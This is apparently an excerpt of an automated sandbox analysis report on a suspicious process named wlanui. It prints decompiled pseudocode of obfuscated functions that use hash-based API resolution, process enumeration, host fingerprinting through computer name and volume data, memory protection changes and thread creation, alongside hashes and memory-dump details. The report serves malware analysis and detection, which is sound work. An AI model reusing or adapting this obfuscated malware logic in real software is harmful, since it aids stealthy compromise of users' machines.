0x00000000
0x004832a1
0x00483208
0x0048320d
0x004832ab
0x004832b3
0x004832cb
0x004832cd
0x004832cd
0x004832e4
0x004832e6
0x004832ed
0x004832f0
0x004832f3
0x00000000
0x00483213
0x00483218
0x00000000
0x0048321a
0x00483221
0x00483223
0x004830ba
0x004830ba
0x00000000
0x004830ba
0x004830ba
0x00483218
0x0048320d
0x00000000
0x0048322d
0x0048322d
0x00483242
0x00000000
0x00483242

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,0000024C), ref: 00483299

Strings

|., xrefs: 004830F2

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: |.
API String ID: 1279760036-512043466
Opcode ID: c8e0f2247b809fe7050beabf575e9272acfc8d4a4aee266febf3a929a62a0641
Instruction ID: 89bbe83a485cb83e73fbbf4fe943f9ff96bb492918812a49f53d8b3427825a34
Opcode Fuzzy Hash: c8e0f2247b809fe7050beabf575e9272acfc8d4a4aee266febf3a929a62a0641
Instruction Fuzzy Hash: 5C51BF71A083018BC718EF6D848452FBBE6EBD4B05F204C2FE551CB351DB79DA49879A

Uniqueness

Uniqueness Score: -1.00%

Function 00487080, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00487080(void* __ebx, void* __ecx, signed int __edx, void* __eflags) {
				struct HINSTANCE__* _t6;
				intOrPtr* _t7;
				intOrPtr* _t9;
				intOrPtr _t17;
				signed int _t28;
				void* _t29;
				WCHAR* _t30;
				void* _t31;

				_t15 = __ebx;
				_t28 = __edx;
				_t30 = E004834C0(__ecx);
				if( *0x48dd1c == 0) {
					 *0x48dd1c = E00483E60(__ebx, E00483F00(0x9bab0b12), 0xe4b28d97, _t31);
				}
				_t6 = LoadLibraryW(_t30);
				_t17 =  *0x48e548; // 0x307e60
				 *(_t17 + 0x30 + _t28 * 4) = _t6;
				_t7 =  *0x48e494;
				if(_t7 == 0) {
					_t7 = E00483E60(_t15, E00483F00(0x9bab0b12), 0x7facde30, _t31);
					 *0x48e494 = _t7;
				}
				_t29 =  *_t7();
				_t9 =  *0x48df30;
				if(_t9 == 0) {
					_t9 = E00483E60(_t15, E00483F00(0x9bab0b12), 0x5010a54d, _t31);
					 *0x48df30 = _t9;
				}
				return  *_t9(_t29, 0, _t30);
			}

0x00487080
0x00487082
0x00487089
0x00487092
0x004870aa
0x004870aa
0x004870b0
0x004870b2
0x004870b8
0x004870bc
0x004870c3
0x004870d6
0x004870db
0x004870db
0x004870e2
0x004870e4
0x004870eb
0x004870fe
0x00487103
0x00487103
0x00487110

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,0048721D,004868AC), ref: 004870B0

Strings

`~0, xrefs: 004870B2

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: `~0
API String ID: 1029625771-552826598
Opcode ID: 11a21e2f709940b74ad35f04aac606a26528a9bdffb88a19fc90b1da96b35267
Instruction ID: eb98fcc46bb21d32a7229e2e291240f38f030f83389d01d33332ad85e7d27b7c
Opcode Fuzzy Hash: 11a21e2f709940b74ad35f04aac606a26528a9bdffb88a19fc90b1da96b35267
Instruction Fuzzy Hash: 9C014430B152104BDB14BF7A985162F26EB9FD1E4C7100C3EA619C7355EA38CD02979D

Uniqueness

Uniqueness Score: -1.00%

Function 00484C98, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E00484C98(void* __eax, intOrPtr* __ebx, void* __ebp, char _a16) {
				void* _t4;
				intOrPtr* _t5;
				signed int _t6;
				int _t11;
				signed int _t16;
				intOrPtr _t19;
				intOrPtr* _t22;
				void* _t38;
				void* _t41;
				void* _t44;
				void* _t48;

				_t44 = __ebp;
				_t22 = __ebx;
				_t4 = __eax;
				goto L1;
				do {
					while(1) {
						L1:
						_t48 = _t4 - 0x29f16ba1;
						if(_t48 > 0) {
							break;
						}
						if(_t48 == 0) {
							_t5 =  *0x48e498;
							if(_t5 == 0) {
								_t5 = E00483E60(_t22, E00483F00(0x9bab0b12), 0xb6f23f63, _t44);
								 *0x48e498 = _t5;
							}
							L14:
							_t6 =  *_t5(_t41,  &_a16);
							asm("sbb eax, eax");
							_t4 = ( ~_t6 & 0xe5fc70a2) + 0x2fd2b757;
							continue;
						} else {
							if(_t4 == 0xf1114c0) {
								_t4 = 0x1f097f05;
								continue;
							} else {
								if(_t4 == 0x15cf27f9) {
									_t16 =  *_t22( &_a16, _t38);
									asm("sbb eax, eax");
									_t4 = ( ~_t16 & 0xfa1eb44a) + 0x2fd2b757;
									continue;
								} else {
									if(_t4 != 0x1f097f05) {
										goto L17;
									} else {
										_t19 =  *0x48e290; // 0x7671733f
										if(_t19 == 0) {
											 *0x48e290 = E00483E60(_t22, E00483F00(0x9bab0b12), 0xbf0ea04d, _t44);
										}
										_t11 = CreateToolhelp32Snapshot(2, 0); // executed
										_t41 = _t11;
										if(_t41 == 0xffffffff) {
											L24:
											return _t11;
										} else {
											_t4 = 0x2e0e6e55;
											continue;
										}
									}
								}
							}
						}
						L25:
					}
					if(_t4 == 0x2e0e6e55) {
						_t5 =  *0x48e1b4;
						_a16 = 0x22c;
						if(_t5 == 0) {
							_t5 = E00483E60(_t22, E00483F00(0x9bab0b12), 0x188a0580, _t44);
							 *0x48e1b4 = _t5;
						}
						goto L14;
					} else {
						if(_t4 == 0x2fd2b757) {
							if( *0x48de3c == 0) {
								 *0x48de3c = E00483E60(_t22, E00483F00(0x9bab0b12), 0x20de7595, _t44);
							}
							_t11 = CloseHandle(_t41); // executed
							goto L24;
						} else {
							goto L17;
						}
					}
					goto L25;
					L17:
				} while (_t4 != 0x9d8354f);
				return _t4;
				goto L25;
			}

0x00484c98
0x00484c98
0x00484c98
0x00484c98
0x00484ca0
0x00484ca0
0x00484ca0
0x00484ca0
0x00484ca5
0x00000000
0x00000000
0x00484cab
0x00484d24
0x00484d2b
0x00484d3e
0x00484d43
0x00484d43
0x00484d48
0x00484d4e
0x00484d52
0x00484d59
0x00000000
0x00484cad
0x00484cb2
0x00484d1a
0x00000000
0x00484cb4
0x00484cb9
0x00484d08
0x00484d0c
0x00484d13
0x00000000
0x00484cbb
0x00484cc0
0x00000000
0x00484cc6
0x00484cc6
0x00484ccd
0x00484ce5
0x00484ce5
0x00484cee
0x00484cf0
0x00484cf5
0x00484ddb
0x00484de4
0x00484cfb
0x00484cfb
0x00000000
0x00484cfb
0x00484cf5
0x00484cc0
0x00484cb9
0x00484cb2
0x00000000
0x00484cab
0x00484d68
0x00484d86
0x00484d8b
0x00484d95
0x00484da8
0x00484dad
0x00484dad
0x00000000
0x00484d6a
0x00484d6f
0x00484dbb
0x00484dd3
0x00484dd3
0x00484dd9
0x00000000
0x00000000
0x00000000
0x00000000
0x00484d6f
0x00000000
0x00484d71
0x00484d71
0x00484d85
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00484CEE
CloseHandle.KERNEL32(?,00000000,?,?), ref: 00484DD9

Strings

?sqv, xrefs: 00484CC6, 00484CE5

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleSnapshotToolhelp32
String ID: ?sqv
API String ID: 3280610774-1358527836
Opcode ID: 222f8bc00e7f72b30ee476545d216423a7909dd4926a91bd4891601d0fbbf022
Instruction ID: 559249d3702fe7ad0e4d3494aab149ff36bdcf70a44ee6c54bd6eebe0428e763
Opcode Fuzzy Hash: 222f8bc00e7f72b30ee476545d216423a7909dd4926a91bd4891601d0fbbf022
Instruction Fuzzy Hash: CBF02B30A002134ACA347F299C8573E61D967D1754F140D2BEA29C73F1E71C8C51538D

Uniqueness

Uniqueness Score: -1.00%

Function 00460580, Relevance: 3.1, APIs: 2, Instructions: 127
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00460FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 00460F08
Part of subcall function 00460FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 00460F3E
Part of subcall function 00460FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 00460F7F

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 0046061B
VirtualProtect.KERNEL32(00000000,-00000018,?,00000000,00000000,00000000,-00000018,00000028,?,?,?,00000000,00000000,?,00000000), ref: 0046069C

Memory Dump Source

Source File: 0000000F.00000002.2335360642.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_460000_wlanui.jbxd

Similarity

API ID: MemoryMove$ProtectVirtual
String ID:
API String ID: 4043890290-0
Opcode ID: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction ID: f7087a817c4f420740b8970532b9dd7f8c110cd4a276a62b8381f1873e8552d4
Opcode Fuzzy Hash: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction Fuzzy Hash: E73126B365830557E3249A6ADC45BEBA3D4DBE5354F08083BF905D2290F52ED4A8C26F

Uniqueness

Uniqueness Score: -1.00%

Function 00489DD0, Relevance: 3.1, APIs: 2, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00489DD0(void* __ebp) {
				char _v520;
				char _v1040;
				char _v1044;
				void* __ebx;
				void* _t7;
				intOrPtr* _t9;
				intOrPtr* _t20;
				intOrPtr* _t42;
				void* _t45;
				void* _t48;

				_t45 = __ebp;
				_t7 = 0x2bf5e22e;
				goto L1;
				do {
					while(1) {
						L1:
						_t48 = _t7 - 0x282e0bc9;
						if(_t48 > 0) {
							break;
						}
						if(_t48 == 0) {
							_t9 =  *0x48e3f4;
							if(_t9 == 0) {
								_t9 = E00483E60(0, E00483F00(0x9bab0b12), 0x7dc9b9bb, _t45);
								 *0x48e3f4 = _t9;
							}
							 *_t9(0,  &_v520, 0x104);
							_t7 = 0x1d217ac5;
							continue;
						} else {
							if(_t7 == 0x1d217ac5) {
								_v1044 = 0x104;
								if( *0x48def8 == 0) {
									 *0x48def8 = E00483E60(0, E00483F00(0x9bab0b12), 0x55856f39, _t45);
								}
								_t42 =  *0x48e220;
								if(_t42 == 0) {
									_t42 = E00483E60(0, E00483F00(0x9bab0b12), 0xa63d263c, _t45);
									 *0x48e220 = _t42;
								}
								 *_t42(GetCurrentProcess(), 0,  &_v1040,  &_v1044); // executed
								_t7 = 0x20509b25;
								continue;
							} else {
								if(_t7 == 0x20509b25) {
									_t20 =  *0x48e05c;
									if(_t20 == 0) {
										_t20 = E00483E60(0, E00483F00(0x9bab0b12), 0xbdfcd29a, _t45);
										 *0x48e05c = _t20;
									}
									 *_t20( &_v520,  &_v1040);
									_t25 =  !=  ? 1 : 0;
									_t22 =  !=  ? 1 : 0;
									return  !=  ? 1 : 0;
								} else {
									goto L5;
								}
							}
						}
						L20:
					}
					if(_t7 != 0x2bf5e22e) {
						goto L5;
					} else {
						_t7 = 0x282e0bc9;
						goto L1;
					}
					goto L20;
					L5:
				} while (_t7 != 0x1daf8c8f);
				return 0;
				goto L20;
			}

0x00489dd0
0x00489dd6
0x00489dde
0x00489de0
0x00489de0
0x00489de0
0x00489de0
0x00489de5
0x00000000
0x00000000
0x00489deb
0x00489e89
0x00489e90
0x00489ea3
0x00489ea8
0x00489ea8
0x00489ebc
0x00489ebe
0x00000000
0x00489df1
0x00489df6
0x00489e1c
0x00489e26
0x00489e40
0x00489e40
0x00489e46
0x00489e4e
0x00489e66
0x00489e68
0x00489e68
0x00489e7d
0x00489e7f
0x00000000
0x00489df8
0x00489dfd
0x00489edd
0x00489ee4
0x00489ef7
0x00489efc
0x00489efc
0x00489f0e
0x00489f18
0x00489f1c
0x00489f25
0x00000000
0x00000000
0x00000000
0x00489dfd
0x00489df6
0x00000000
0x00489deb
0x00489ecd
0x00000000
0x00489ed3
0x00489ed3
0x00000000
0x00489ed3
0x00000000
0x00489e03
0x00489e03
0x00489e15
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000000,?,00000104), ref: 00489E7A
QueryFullProcessImageNameW.KERNEL32(00000000), ref: 00489E7D

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: Process$CurrentFullImageNameQuery
String ID:
API String ID: 2849609825-0
Opcode ID: 8e816ee9425203b658c2bfcdac5d81d2845cbb636a6d08459906758e13369013
Instruction ID: 8967c6e6db782eef23b370148fc6f8ae7332a78f3974681c6d23057c64b4899f
Opcode Fuzzy Hash: 8e816ee9425203b658c2bfcdac5d81d2845cbb636a6d08459906758e13369013
Instruction Fuzzy Hash: AB31E471B046145BCB24BF6A98806BF36DA9790B54F180C2FFA15C7390EA78DC05879E

Uniqueness

Uniqueness Score: -1.00%

Function 00460AD0, Relevance: 2.7, APIs: 2, Instructions: 175
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00460FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 00460F08
Part of subcall function 00460FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 00460F3E
Part of subcall function 00460FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 00460F7F

VirtualAlloc.KERNEL32(?,?,00000000), ref: 00460BFF

Memory Dump Source

Source File: 0000000F.00000002.2335360642.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_460000_wlanui.jbxd

Similarity

API ID: MemoryMove$AllocVirtual
String ID:
API String ID: 1654584625-0
Opcode ID: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction ID: 4063660d9c9e1e531c79cb0dd43631c043641b0359456a7fcfed946557fc0617
Opcode Fuzzy Hash: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction Fuzzy Hash: 3251C670640218ABDB249F54CE45FEBB778EF54B01F104196FA08B7190E6BC5D85CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00489B60, Relevance: 1.7, APIs: 1, Instructions: 164
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00489B60() {
				short _v520;
				void* _v524;
				void* _v528;
				char _v532;
				void* _t11;
				void* _t13;
				intOrPtr* _t15;
				intOrPtr _t21;
				intOrPtr* _t23;
				intOrPtr* _t29;
				intOrPtr _t32;
				intOrPtr* _t36;
				intOrPtr* _t39;
				intOrPtr* _t41;
				void* _t45;
				intOrPtr* _t62;
				intOrPtr _t67;
				void* _t79;
				void* _t80;
				void* _t82;

				_t79 = _v528;
				_t11 = 0x35499030;
				while(1) {
					_t82 = _t11 - 0x2cee787f;
					if(_t82 > 0) {
						goto L23;
					}
					L2:
					if(_t82 == 0) {
						_t21 =  *0x48e550; // 0x2cdcd0
						_t5 = _t21 + 0x14; // 0x184
						_v528 =  *_t5;
						_t23 =  *0x48e228;
						_v524 = _t79;
						if(_t23 == 0) {
							_t23 = E00483E60(_t45, E00483F00(0x9bab0b12), 0x2e50f25, _t80);
							 *0x48e228 = _t23;
						}
						_push(0xffffffff);
						_push(0);
						_push( &_v528);
						_push(2);
						if( *_t23() == 0) {
							goto L37;
						} else {
							_t11 =  ==  ? 0x66597df : 0x2cee787f;
							continue;
						}
					} else {
						if(_t11 == 0x66597df) {
							if(E00489DD0(_t80) == 0) {
								_t29 =  *0x48e138; // 0x0
								if(_t29 == 0) {
									_t29 = E00483E60(_t45, E00483F00(0x9bab0b12), 0xbc7dbdb2, _t80);
									 *0x48e138 = _t29;
								}
								 *_t29(_t79);
								L18:
								_t11 = 0x2cee787f;
							} else {
								_t62 =  *0x48df98; // 0x0
								if(_t62 == 0) {
									_t62 = E00483E60(_t45, E00483F00(0x9bab0b12), 0x6755e68d, _t80);
									 *0x48df98 = _t62;
								}
								_t32 =  *0x48e550; // 0x2cdcd0
								_t4 = _t32 + 0x14; // 0x184
								 *_t62( *_t4);
								_t11 = 0x2044bfa4;
							}
							continue;
						} else {
							if(_t11 == 0x2044bfa4) {
								_t36 =  *0x48e464; // 0x0
								if(_t36 == 0) {
									_t36 = E00483E60(_t45, E00483F00(0x9bab0b12), 0x29cc148f, _t80);
									 *0x48e464 = _t36;
								}
								 *_t36(_t79);
								L37:
								return 0;
							} else {
								if(_t11 == 0x26a761c5) {
									_t39 =  *0x48e3f4;
									if(_t39 == 0) {
										_t39 = E00483E60(_t45, E00483F00(0x9bab0b12), 0x7dc9b9bb, _t80);
										 *0x48e3f4 = _t39;
									}
									 *_t39(0,  &_v520, 0x104);
									_t41 =  *0x48de18;
									if(_t41 == 0) {
										_t41 = E00483E60(_t45, E00483F00(0x55ab7d30), 0x49c1cb87, _t80);
										 *0x48de18 = _t41;
									}
									 *((short*)( *_t41( &_v532))) = 0;
									_t11 = 0x3036867a;
									continue;
									do {
										while(1) {
											_t82 = _t11 - 0x2cee787f;
											if(_t82 > 0) {
												goto L23;
											}
											goto L2;
										}
										goto L23;
									} while (_t11 != 0x1b22f57c);
									return 0;
								}
							}
						}
					}
					L38:
					L23:
					if(_t11 == 0x3036867a) {
						if( *0x48dd3c == 0) {
							 *0x48dd3c = E00483E60(_t45, E00483F00(0x9bab0b12), 0x4f6e1bf0, _t80);
						}
						_t13 = FindFirstChangeNotificationW( &_v520, 0, 1); // executed
						_t79 = _t13;
						if(E00489DD0(_t80) == 0) {
							goto L18;
						} else {
							_t15 =  *0x48df98; // 0x0
							if(_t15 == 0) {
								_t15 = E00483E60(_t45, E00483F00(0x9bab0b12), 0x6755e68d, _t80);
								 *0x48df98 = _t15;
							}
							_t67 =  *0x48e550; // 0x2cdcd0
							_t10 = _t67 + 0x14; // 0x184
							 *_t15( *_t10);
							_t11 = 0x2044bfa4;
						}
						continue;
					} else {
						if(_t11 != 0x35499030) {
							goto L26;
						} else {
							_t11 = 0x26a761c5;
							continue;
						}
					}
					goto L38;
				}
			}

0x00489b67
0x00489b6b
0x00489b80
0x00489b80
0x00489b85
0x00000000
0x00000000
0x00489b8b
0x00489b8b
0x00489c94
0x00489c99
0x00489c9c
0x00489ca0
0x00489ca5
0x00489cab
0x00489cbe
0x00489cc3
0x00489cc3
0x00489cc8
0x00489cca
0x00489cd0
0x00489cd1
0x00489cd9
0x00000000
0x00489cdf
0x00489ce7
0x00000000
0x00489ce7
0x00489b91
0x00489b96
0x00489c25
0x00489c63
0x00489c6a
0x00489c7d
0x00489c82
0x00489c82
0x00489c88
0x00489c8a
0x00489c8a
0x00489c27
0x00489c27
0x00489c2f
0x00489c47
0x00489c49
0x00489c49
0x00489c4f
0x00489c54
0x00489c57
0x00489c59
0x00489c59
0x00000000
0x00489b9c
0x00489ba1
0x00489d96
0x00489d9d
0x00489db0
0x00489db5
0x00489db5
0x00489dbb
0x00489dbe
0x00489dc7
0x00489ba7
0x00489bac
0x00489bb2
0x00489bb9
0x00489bcc
0x00489bd1
0x00489bd1
0x00489be2
0x00489be4
0x00489beb
0x00489bfe
0x00489c03
0x00489c03
0x00489c11
0x00489c14
0x00489c19
0x00489b80
0x00489b80
0x00489b80
0x00489b85
0x00000000
0x00000000
0x00000000
0x00489b85
0x00000000
0x00489b80
0x00489d1c
0x00489d1c
0x00489bac
0x00489ba1
0x00489b96
0x00000000
0x00489cef
0x00489cf4
0x00489d26
0x00489d3e
0x00489d3e
0x00489d4c
0x00489d4e
0x00489d57
0x00000000
0x00489d5d
0x00489d5d
0x00489d64
0x00489d77
0x00489d7c
0x00489d7c
0x00489d81
0x00489d87
0x00489d8a
0x00489d8c
0x00489d8c
0x00000000
0x00489cf6
0x00489cfb
0x00000000
0x00489cfd
0x00489cfd
0x00000000
0x00489cfd
0x00489cfb
0x00000000
0x00489cf4

APIs

FindFirstChangeNotificationW.KERNEL32(?,00000000,00000001), ref: 00489D4C

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: ChangeFindFirstNotification
String ID:
API String ID: 1065410024-0
Opcode ID: 0cac711ed67db22516533188bb871a4c5a3800ea606c1280289f8de3469bdeb6
Instruction ID: 76e8ad930bbd05d06f9a58c2aa95da010df5905c698810455ad1ea6837bbe048
Opcode Fuzzy Hash: 0cac711ed67db22516533188bb871a4c5a3800ea606c1280289f8de3469bdeb6
Instruction Fuzzy Hash: ED51C8307046005BDB18BF6AD89167F26E6ABA4758B140C2FF606CB391FA38DC01D79E

Uniqueness

Uniqueness Score: -1.00%

Function 00486060, Relevance: 1.6, APIs: 1, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00486060(void* __ecx, void* __edx, void* __ebp) {
				char _v16;
				long _v20;
				void* __ebx;
				void* _t10;
				int _t13;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr* _t19;
				intOrPtr* _t21;
				char _t27;
				void* _t28;
				void* _t29;
				signed int _t31;
				char* _t45;
				void* _t51;
				void* _t52;
				void* _t54;
				void* _t59;

				_t56 = __ebp;
				_t51 = __ecx;
				_v20 = 0x10;
				_t29 = E00485500(_t28, __ebp);
				_t10 = 0x2ffbd16a;
				while(1) {
					L1:
					_t59 = _t10 - 0x1d42a4ce;
					if(_t59 > 0) {
						break;
					}
					if(_t59 == 0) {
						if( *0x48dc7c == 0) {
							 *0x48dc7c = E00483E60(_t29, E00483F00(0x9bab0b12), 0xf02a6b30, _t56);
						}
						_t13 = GetComputerNameA( &_v16,  &_v20); // executed
						if(_t13 == 0) {
							goto L23;
						} else {
							_t10 = 0x19fdc91a;
							continue;
						}
					} else {
						if(_t10 == 0x141a6c5f) {
							_t54 = E004835C0(0x48d2f0);
							_t17 =  *0x48dc98;
							if(_t17 == 0) {
								_t17 = E00483E60(_t29, E00483F00(0xc6fbcd74), 0xe71324c6, _t56);
								 *0x48dc98 = _t17;
							}
							_t18 =  *_t17(_t51, 0x19, _t54,  &_v16, _t29);
							_t19 =  *0x48e494;
							_t31 = 0 | _t18 > 0x00000000;
							if(_t19 == 0) {
								_t19 = E00483E60(_t31, E00483F00(0x9bab0b12), 0x7facde30, _t56);
								 *0x48e494 = _t19;
							}
							_t52 =  *_t19();
							_t21 =  *0x48df30;
							if(_t21 == 0) {
								_t21 = E00483E60(_t31, E00483F00(0x9bab0b12), 0x5010a54d, _t56);
								 *0x48df30 = _t21;
							}
							 *_t21(_t52, 0, _t54);
							return _t31;
						} else {
							if(_t10 != 0x19fdc91a) {
								L22:
								if(_t10 != 0x109d9459) {
									continue;
								} else {
									L23:
									return 0;
								}
							} else {
								_t45 =  &_v16;
								if(_v16 != 0) {
									do {
										_t27 =  *_t45;
										if(_t27 < 0x30 || _t27 > 0x39) {
											if(_t27 < 0x61 || _t27 > 0x7a) {
												if(_t27 < 0x41 || _t27 > 0x5a) {
													 *_t45 = 0x58;
												}
											}
										}
										_t45 = _t45 + 1;
									} while ( *_t45 != 0);
								}
								_t10 = 0x141a6c5f;
								continue;
							}
						}
					}
					L31:
				}
				if(_t10 != 0x2ffbd16a) {
					goto L22;
				} else {
					_t10 = 0x1d42a4ce;
					goto L1;
				}
				goto L31;
			}

0x00486060
0x00486065
0x00486067
0x00486074
0x00486076
0x00486080
0x00486080
0x00486080
0x00486085
0x00000000
0x00000000
0x0048608b
0x004860e1
0x004860f9
0x004860f9
0x00486108
0x0048610c
0x00000000
0x0048610e
0x0048610e
0x00000000
0x0048610e
0x0048608d
0x00486092
0x00486147
0x00486149
0x00486150
0x00486163
0x00486168
0x00486168
0x00486177
0x00486180
0x00486185
0x0048618a
0x0048619d
0x004861a2
0x004861a2
0x004861a9
0x004861ab
0x004861b2
0x004861c5
0x004861ca
0x004861ca
0x004861d3
0x004861dd
0x00486098
0x0048609d
0x00486129
0x0048612e
0x00000000
0x00486135
0x00486135
0x0048613b
0x0048613b
0x004860a3
0x004860a8
0x004860ac
0x004860b0
0x004860b0
0x004860b4
0x004860bc
0x004860c4
0x004860ca
0x004860ca
0x004860c4
0x004860bc
0x004860cd
0x004860ce
0x004860b0
0x004860d3
0x00000000
0x004860d3
0x0048609d
0x00486092
0x00000000
0x0048608b
0x0048611d
0x00000000
0x0048611f
0x0048611f
0x00000000
0x0048611f
0x00000000

APIs

Part of subcall function 00485500: GetVolumeInformationW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004855A1

GetComputerNameA.KERNEL32(?,00000010), ref: 00486108

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: ComputerInformationNameVolume
String ID:
API String ID: 2991138825-0
Opcode ID: d6415ef3250141e5f200ffaddb6cfee45f4f773879014663eac205b6b7ade1f0
Instruction ID: 1e0972577e40e1be14c69a85c2daf8baaffd991a4ded65291cfbb95e2c05c82e
Opcode Fuzzy Hash: d6415ef3250141e5f200ffaddb6cfee45f4f773879014663eac205b6b7ade1f0
Instruction Fuzzy Hash: DE3105307042011ADB64FB7E8C5576F26869B92B08F514C2FE54ACB396EE2CCC06875F

Uniqueness

Uniqueness Score: -1.00%

Function 00489F30, Relevance: 1.6, APIs: 1, Instructions: 88
threadCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00489F30(void* __ebx) {
				void* _t7;
				intOrPtr* _t8;
				intOrPtr _t9;
				intOrPtr* _t11;
				intOrPtr* _t13;
				void* _t20;
				void* _t25;
				intOrPtr _t27;
				void* _t40;
				void* _t41;

				_t25 = __ebx;
				_t7 = 0x11b28d96;
				L1:
				while(_t7 != 0xce4fa38) {
					if(_t7 == 0x11b28d96) {
						_t11 =  *0x48e494;
						if(_t11 == 0) {
							_t11 = E00483E60(_t25, E00483F00(0x9bab0b12), 0x7facde30, _t41);
							 *0x48e494 = _t11;
						}
						_t40 =  *_t11();
						_t13 =  *0x48dd18;
						if(_t13 == 0) {
							_t13 = E00483E60(_t25, E00483F00(0x9bab0b12), 0x9ff0609c, _t41);
							 *0x48dd18 = _t13;
						}
						_t27 =  *_t13(_t40, 8, 0x20);
						 *0x48e550 = _t27;
						if(_t27 == 0) {
							goto L18;
						} else {
							_t7 = 0xce4fa38;
							continue;
						}
					} else {
						if(_t7 == 0x33fbe40a) {
							if( *0x48de50 == 0) {
								 *0x48de50 = E00483E60(_t25, E00483F00(0x9bab0b12), 0x676edf3, _t41);
							}
							_t20 = CreateThread(0, 0, E00489B60, 0, 0, 0);
							_t27 =  *0x48e550; // 0x2cdcd0
							 *(_t27 + 0x18) = _t20;
							L18:
							return 0 | _t27 != 0x00000000;
						} else {
							if(_t7 != 0x1dffa4f5) {
								continue;
							} else {
								return 0 | _t27 != 0x00000000;
							}
						}
					}
				}
				_t8 =  *0x48de6c;
				if(_t8 == 0) {
					_t8 = E00483E60(_t25, E00483F00(0x9bab0b12), 0x747563ac, _t41);
					 *0x48de6c = _t8;
				}
				_t9 =  *_t8(0, 0, 0, 0);
				_t27 =  *0x48e550; // 0x2cdcd0
				 *((intOrPtr*)(_t27 + 0x14)) = _t9;
				_t7 = 0x33fbe40a;
				goto L1;
			}

0x00489f30
0x00489f36
0x00000000
